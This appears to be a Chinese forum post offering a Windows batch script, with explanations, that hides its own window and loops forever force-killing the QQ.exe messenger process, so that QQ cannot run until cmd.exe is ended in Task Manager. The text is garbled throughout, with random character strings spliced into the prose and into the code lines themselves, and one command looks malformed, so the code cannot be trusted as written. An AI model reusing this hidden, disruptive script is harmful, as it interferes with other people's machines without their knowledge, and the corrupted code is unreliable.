|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
/ V. X: ?& Q% C新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。 - n8 Z1 A8 D$ y$ ]7 H5 X* R
6 M: @' v9 z: e# E! m9 U& q) t% j
@echo off
- Y) \( Q( n# @! _; Y- ~* X' @4 aif "%1" == "h" goto begin 8 ?) H. q6 T9 Z+ t( q& r
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
* _- X) ^ a3 s0 a6 u6 X+ _:begin 8 J5 I" B4 n# v$ f
tasklist |find /i "QQ.exe" ( J- n* u: `/ s2 e3 O
if %errorlevel%==0 (goto killit) else (goto next) 4 P, C- o+ A) k& ^* G1 N3 |, @' C. V
:killit : v, L% I5 _: ]
taskkill /f /im QQ.exe
/ q6 z5 O; W- f8 {* S2 x7 Q:next * O+ y6 K$ ?1 Q# ]- S
ping -n 3 127.t >nul 2>nul
2 g& O# S6 v; ^, t6 e+ F0 u% }$ Sgoto begin
3 K( r3 f8 j4 L9 p6 u6 Z$ s" W* O8 P% l1 z, K
代码到此为止
5 u6 [ ~5 w! N! |: h1 Z/ A讲解如下:
) W- e# I0 G* R+ b! Y* l# P@echo off ------关闭回显 ) I4 Q; a* r1 m* x
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
4 Z3 O% i8 _1 v* w3 M0 imshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 - \1 g/ W! X2 H. s6 m! u3 y) Y* Z
:begin ------------定一段名begin 7 B" O. h/ R5 L" X% v
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe ) U$ J& e2 Y6 k8 p/ [4 p$ q
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next * W4 B$ C9 N( C2 v+ p
:killit 4 T1 y# t4 c# G" S! f
taskkill /f /im QQ.exe----终结进程QQ.exe
/ Y* o2 ]6 f7 O0 d/ t:next 1 B. D; t; X8 A0 s4 n+ I3 d
ping -n 3 127.t >nul 2>nul -----延迟一段时间
/ f) m8 C0 U3 e) z R& hgoto begin--------------返回执行begin- n I2 J$ v/ X/ p0 L+ S% D* u
|
|